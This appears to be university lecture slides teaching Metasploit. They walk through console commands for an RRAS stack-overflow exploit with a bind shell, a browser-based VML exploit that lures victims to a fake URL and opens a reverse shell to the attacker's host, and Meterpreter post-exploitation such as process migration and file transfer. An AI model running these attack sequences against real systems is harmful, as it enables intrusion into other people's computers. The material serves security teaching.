Metasploit

Dr. Randy Kaplan
Kutztown University

Metasploit

- Most things in computing get easier over time
- That’s because of the nature of data
- If everything is data, then everything can be processed by a computer
- Therefore if a hacker had to write a special program to exploit a vulnerability, then couldn’t we come up with a way to create these programs automatically?

Metasploit

- Released in 2003
- Created by H.D. Moore
- Permanently changes the security scene
- Anyone could become a hacker
- Everyone had access to exploits for unpatched and recently patched vulnerabilities

Metasploit

- Made it necessary for software vendors to pay attention to vulnerabilities when they arose as opposed to waiting because ...

Metasploit

- Made it necessary for software vendors to pay attention to vulnerabilities when they arose as opposed to waiting because ...
- The METASPLOIT development team was hard at work developing exploits that would be released to all METASPLOIT users

metasploit

- Getting METASPLOIT
  - Available for:
    - Linux
    - BSD (another flavor of UNIX)
    - Mac OS X
    - Windows using Cygwin

metasploit

- METASPLOIT is available from -
  - http://framework.metasploit.com/msf/download
- Two ways to use METASPLOIT -
  - Command line (better control, more access to features)
  - GUI - good for lite usage

metasploit

- Starting METASPOIT’s console
  - $./msfconsole

metasploit

- Interesting Commands (to start with)
  - show <exploits | payloads>
  - info <exploit | payload> <name>
  - use <exploit-name>
- Other commands can be found by using the command -
  - help

metasploit

- An EXPLOIT is the vulnerability that is going to be used to gain access to the target system
- The choice of an exploit will depend on how well the organization or person using the computer has kept its patches up to date
- A PAYLOAD is the code that will be deposited on target system

metasploit

- We want to show how we would use METASPLOIT to attack a target
- For the sake of this example we will an exploit called RRAS
- If the exploit is successful we could -
  - open a command shell
  - create an administrative account
  - start a remote VNC session (and much, much more)

metasploit

- To choose a particular exploit we will need to find the name of the exploit in METASPLOIT’s library of exploits
- The name of the exploit we want to use is named
  - windows/smb/ms06_025_rras

metasploit

- In order to use this exploit we tell METASPLOIT that we want to use the exploit
- The command to choose this exploit is -
  - use windows/smb/ms06_025_rras
- Once an exploit is chosen and used, the command prompt changes to include the exploit name -
  - (prompt) exploit (ms06_025_rras) >

metasploit

- When an exploit is set, the next step would be to set the exploit's options
- In order to see what the options are, the command
  - show options
- will display a table of options

metasploit

- For ms06_026_RRAS the options are as follows -

Name	Current Setting	Required	Description
RHOST		yes	The target address
RPORT	445	yes	The SMB service port
SMBPIPE	ROUTER	yes	PIPE name: ROUTER, SRVSVC

metasploit

- To set an option use the command (general form) -
  - set <OPTION-NAME> <option>
- Example -
  - set RHOST 192.168.1.220

metasploit

- METASPLOIT is very particular about how the name of an option is specified
- If the name of the option is in upper case, the name of the option in the set command must also be in upper case
- Pay particular attention to the exact specification of the option name

metasploit

- In addition to the options that need to be specified it is also necessary to specify the PAYLOAD and the TARGET TYPE
- The PAYLOAD is the action that happens after the vulnerability is exploited
- It’s like choosing what you want to happen as a result of exploiting the vulnerability

metasploit

- Just as you can ask about options, you can also ask about payloads. The command -
  - show payloads
- For our purpose we want to open a command shell (similar to a DOS window) and bind that shell to a TCP connection
- The payload for this purpose is named -
  - windows/shell_bind_tcp

metasploit

- Two types of payloads
  - inline
  - staged

metasploit

- Two types of payloads
  - inline
    - means that the command at the target is executed in a single round trip
  - staged
    - means that the command at the target requires an additional round trip

metasploit

- Why use a staged payload?
  - Staged payloads fit into smaller buffers on the target computer
  - Buffer space for exploitation could be at a premium
  - Under these circumstances a staged payload is a better option

metasploit

- The command to set the payload as specified would be -
- set PAYLOAD windows/shell_bind_tcp
- (General form of the command)
  - set PAYLOAD <name of the payload>

metasploit

- The last element that needs to be specified is the target
- To find out our target options we can use the command
  - show targets
- For this exploit we have two possible targets -
  - 0 Windows 2000 SP4
  - 1 Windows XP SP1

metasploit

- It is important to realize that an exploit is only appropriate for certain operating systems and operating system versions
- The correct OS and OS version must be chosen or the exploit will most likely fail
- Each target has a number to the left of the target list
- The target we will use is Windows XP SP1 (target 1)
- The command to set the target is -
  - set TARGET 1

metasploit

- Once all of the exploit parameters are set, the command to launch the exploit is -
  - exploit
- At this point the computer running METASPLOIT will contact the target computer and attempt to exploit the vulnerability

metasploit

- When an exploit fails METASPLOIT will display a message saying that the exploit has failed -
- In order to understand why the exploit failed we need to know more about the exploit
- The command to get this information is -
  - info

metasploit

Name:	Microsoft RRAS Service Overflow
Version:	4498
Platform:	Windows
Priviledged:	Yes
License:	Metasploit Framework License

Provided by:

Nicolas Pouvesle <nicolas.pouvesle@gmail.com>
hdm <hdm@metasploit.com>

metasploit

Available Targets:

Id	Name
0	Windows 2000 SP4
1	Windows XP SP1

Basic Options:

Name	Current Setting	Required	Description
RHOST	192.168.1.220	yes	The target address
RPORT	445	yes	The SMB service port
SMBPIPE	ROUTER	yes	PIPE name: ROUTER, SRVSVC

METASPLOIT

Payload information:

Space:	1104
Avoid:	1 character

Description :

This module exploits a stack overflow in the Windows Routing snf Remote Access Service. SInce the service is hosted inside svchost.exe, a failed attempt can cause other system services to fail as well. A valid username and password is required to exploit this flaw on Windows 2000.When attack ing XP SP1, the SMBPIPE option needs to be set to ‘SRVSVC’.

metasploit

- The answer to our problem with the exploit is contained in the last sentence of the description:
  - When attack ing XP SP1, the SMBPIPE option needs to be set to ‘SRVSVC’.

metasploit

- Client-Side Vulnerabilities
  - Vulnerabilities in client software like -
    - web browsers
    - email applications
    - media players

Client-Side Vulnerabilities

- Trick a victim to a malicious site
- Trick a victim to open a malicious email
- Trick a victim to open a malicious file
- Victim interacts with attacker-controlled content
- Attacker presents data that triggers a vulnerability in the client-side application parsing the content
- From an attacker’s point of view, the connection is created by the victim

Client-Side Vulnerabilities

- Metasploit includes several exploits for browser-based vulnerabilities
- Can act as a rogue web server to host the vulnerabilities
- Example - use ms06_055_vml_method

Client-Side Vulnerabilities

- Options include -
  - SRVHOST
  - SRVPORT
  - URIPATH
    - Acts as a web server

Client-Side Vulnerabilities

- URIPATH
  - This is the rest of the URL to which you will attract your victim
  - Suppose we were going to lure a victim to http://192.168.1.113:8080
  - If we set URIPATH to you_win.htm then the URL would be http://192.168.1.113:8080/you_win.htm

Client-Side Vulnerabilities

- The payload we will use for this exploit is -
  - windows/shell_reverse_tcp
- The local host must be specified for this option
  - This is the host from which the attack originated
  - 192.168.1.113

Client-Side Vulnerabilities

- When this exploit runs, it sets up a small http server
- After setting up the server it waits until the victim accesses the fake URL
- When such a connection is made, the exploit is presented to the target, and as part of that the victim’s browser will make a connection back to the attacking computer
- Since the payload is a windows shell, a shell will be opened if the attack is successful

Client-Side Vulnerabilities

- Since we only know if a client accessed the malicious web page through a message displayed in Metasploit
- To find out which session was started use the command
  - sessions -l
- To connect to a session the command -
  - sessions i session-number is used
  - sessions -i 4

Client-Side Vulnerabilities

- To find out what exploit jobs are currently running use the command
  - jobs
- The advantage to an attack like this is that the victim is initiating the connection and therefore the firewall will not get in the way

Meterpreter

- A command prompt as payload is pretty useful
- More flexibility than this would be better
- More stealth would also be better
- Creating a new process on a host might even be too noisy
- The meterpreter payload addresses these issues

Meterpreter

- The Metasploit Meterpreter is -
  - a command interpreter
  - a payload
  - Injected into the memory of the exploited process
  - Provides extensive features
  - Can be extended

Meterpreter

- The Metasploit Meterpreter -
- Never hits the disk of the victims computer
- Everything is injected into process memory
- No additional process is created

Meterpreter

- The Metasploit Meterpreter -
  - Consider an example of its use
    - Use the same exploit as before
      - VML browser-based exploit
      - Supply Meterpreter as the payload

Meterpreter

- The Metasploit Meterpreter -
  - Consider an example of its use
    - set PAYLOAD windows/meterpreter/reverse_tcp
    - All other parameters of the exploit are the same as before
    - Start the exploit ...

Meterpreter

- The Metasploit Meterpreter -
  - Use the sessions -l command to determine the number of the session that has been created
  - Connect to that session … and we are now connected to the meterpreter as shown by the meterpreter

Meterpreter

- The Metasploit Meterpreter -
  - The meterpreter has many commands of its own
  - There are actually five groups of commands
  - The groups of commands can be listed with the meterpreter HELP command

Meterpreter

- Five Groups of Commands
  - Core
  - File System
  - Networking
  - System
  - User Interface

Meterpreter

- The description of the Meterpreter could require a whole book
- We’ll take a look at some of the capabilities of the meterpreter

Meterpreter

- When carrying out a browser-based exploit a broken browser window is usually left showing on the victim’s computer

- An astute victim will try to close the broken window

- If you want to stick around on the victim’s machine even after Internet explorer is closed, it is possible to migrate the payload code from one process to another

Meterpreter

- To do this you have to know what processes are available on the target computer
- To obtain this list us the meterpreter command -
  - ps
- ps will list the processes that are running on the victim’s computer

Meterpreter

- ps lists the process ID, the name of the process, and the path of the process
- For example,
  - ...
  - 280 Explorer.exe D:\...
  - 1388 IEXPLORE.EXE D:\ ...
  - ...

Meterpreter

- The command -
  - migrate 280
- will move the payload from process 1388 (Internet explorer) to process 280 (Windows explorer)

Meterpreter

- There are things that the meterpreter can do that the command prompt cannot
- Example
  - Uploading and downloading files
- The commands -
  - upload and download
- are used for this purpose

Meterpreter

- Other features of the meterpreter
  - stopping and starting the keyboard and mouse of the victim’s logon session
  - Listing, stopping, and starting processes
  - Shutting down and/or rebooting the computer
  - Enumerating, deleting, and setting registry keys

Meterpreter

- Turning the workstation into a traffic router
  - Especially handy on dual-homed machines bridging one public network to another private network
- Complete Ruby scripting environment
  - Enables limitless possibilities
- If you are a privileged user, the meterpreter has a special set of commands available to a privileged user